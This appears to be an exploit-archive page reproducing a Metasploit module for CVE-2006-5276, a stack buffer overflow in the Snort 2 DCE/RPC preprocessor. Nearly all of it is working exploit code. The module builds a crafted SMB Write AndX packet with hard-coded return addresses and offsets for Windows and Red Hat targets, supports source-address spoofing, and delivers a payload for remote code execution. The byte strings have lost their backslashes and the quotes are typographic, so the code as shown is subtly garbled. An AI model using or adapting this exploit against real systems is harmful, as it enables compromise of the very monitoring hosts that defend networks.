Snort 2 DCE/RPC preprocessor Buffer Overflow Exploit

Summary

Snort 2 DCE/RPC preprocessor suffers from buffer overflow vulnerability..

Credit:

Details

Vulnerable Systems:
 * Snort 2 DCE/RPC

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Capture
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Snort 2 DCE/RPC preprocessor Buffer Overflow’,
‘Description’ => %q{
This module allows remote attackers to execute arbitrary code by exploiting the
Snort service via crafted SMB traffic. The vulnerability is due to a boundary
error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
which may result a stack-based buffer overflow with a specially crafted packet
sent on a network that is monitored by Snort.

Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.

Any host on the Snort network may be used as the remote host. The remote host does not
need to be running the SMB service for the exploit to be successful.
},
‘Author’ =>
[
‘Neel Mehta’, #Original discovery (IBM X-Force)
‘Trirat Puttaraksa’, #POC
‘Carsten Maartmann-Moe <carsten[at]carmaa.com>’, #Metasploit win
‘0a29406d9794e4f9b30b3c5d6702c708’ #Metasploit linux
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘OSVDB’, ‘32094’ ],
[ ‘CVE’, ‘2006-5276’ ],
[ ‘URL’, ‘http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html’],
[ ‘URL’, ‘http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html’],
[ ‘URL’, ‘http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py’]
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘thread’,
},
‘Payload’ =>
{
‘Space’ => 390,
‘BadChars’ => ‘x00’,
‘DisableNops’ => true,
},
‘Targets’ =>
[
[
‘Windows Universal’,
{
‘Platform’ => ‘win’,
‘Ret’ => 0x00407c01, # JMP ESP snort.exe
‘Offset’ => 289, # The number of bytes before overwrite
‘Padding’ => 0
}
],
[
‘Redhat 8’,
{
‘Platform’ => ‘linux’,
‘Ret’ => 0xbffff110,
‘Offset’ => 317,
‘Padding’ => 28
}
]
],
‘Privileged’ => true,
‘DisclosureDate’ => ‘Feb 19 2007’,
‘DefaultTarget’ => 0))

register_options(
[
Opt::RPORT(139),
OptAddress.new(‘RHOST’, [ true, ‘A host on the Snort-monitored network’ ]),
OptAddress.new(‘SHOST’, [ false, ‘The (potentially spoofed) source address’])
], self.class)

deregister_options(‘FILTER’,’PCAPFILE’,’SNAPLEN’,’TIMEOUT’)
end

def exploit
open_pcap

shost = datastore[‘SHOST’] || Rex::Socket.source_address(rhost)

p = buildpacket(shost, rhost, rport.to_i)

print_status(‘Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}…’)

capture_sendto(p, rhost)

handler
end

def buildpacket(shost, rhost, rport)
p = PacketFu::TCPPacket.new
p.ip_saddr = shost
p.ip_daddr = rhost
p.tcp_dport = rport
p.tcp_flags.psh = 1
p.tcp_flags.ack = 1

# SMB packet borrowed from http://exploit-db.com/exploits/3362

# NetBIOS Session Service, value is the number of bytes in the TCP segment,
# must be greater than the total size of the payload. Statically set.
header = ‘x00x00xdexad’

# SMB Header
header << ‘xffx53x4dx42x75x00x00x00x00x18x07xc8x00x00’
header << ‘x00x00x00x00x00x00x00x00x00x00x00x00xffxfe’
header << ‘x00x08x30x00’

# Tree Connect AndX Request
header << ‘x04xa2x00x52x00x08x00x01x00x27x00x00’
header << ‘x5cx00x5cx00x49x00x4ex00x53x00x2dx00x4bx00x49x00’
header << ‘x52x00x41x00x5cx00x49x00x50x00x43x00x24x00x00x00’
header << ‘x3fx3fx3fx3fx3fx00’

# NT Create AndX Request
header << ‘x18x2fx00x96x00x00x0ex00x16x00x00x00x00x00x00x00’
header << ‘x9fx01x02x00x00x00x00x00x00x00x00x00x00x00x00x00’
header << ‘x03x00x00x00x01x00x00x00x40x00x40x00x02x00x00x00’
header << ‘x01x11x00x00x5cx00x73x00x72x00x76x00x73x00x76x00’
header << ‘x63x00x00x00’

# Write AndX Request #1
header << ‘x0ex2fx00xfex00x00x40x00x00x00x00xffxffxffxffx80’
header << ‘x00x48x00x00x00x48x00xb6x00x00x00x00x00x49x00xee’
header << ‘x05x00x0bx03x10x00x00x00xffx01x00x00x01x00x00x00’
header << ‘xb8x10xb8x10x00x00x00x00x01x00x00x00x00x00x01x00’
header << ‘xc8x4fx32x4bx70x16xd3x01x12x78x5ax47xbfx6exe1x88’
header << ‘x03x00x00x00x04x5dx88x8axebx1cxc9x11x9fxe8x08x00’
header << ‘x2bx10x48x60x02x00x00x00’

# Write AndX Request #2
header << ‘x0exffx00xdexdex00x40x00x00x00x00xffxffxffxffx80’
header << ‘x00x48x00x00x00xffx01’
tail = ‘x00x00x00x00x49x00xee’

# Return address
eip = [target[‘Ret’]].pack(‘V’)

# Sploit
sploit = make_nops(10)
sploit << payload.encoded

# Padding (to pass size check)
sploit << make_nops(1)

# The size to be included in Write AndX Request #2, including sploit payload
requestsize = [(sploit.size() + target[‘Offset’])].pack(‘v’)

# Assemble the parts into one package
p.payload = header << requestsize << tail << make_nops(target[‘Padding’]) << eip << sploit

p.recalc

p
end
end

CVE Information:
2006-5276

Disclosure Timeline:
Published: 2012-04-09

Categories: Exploits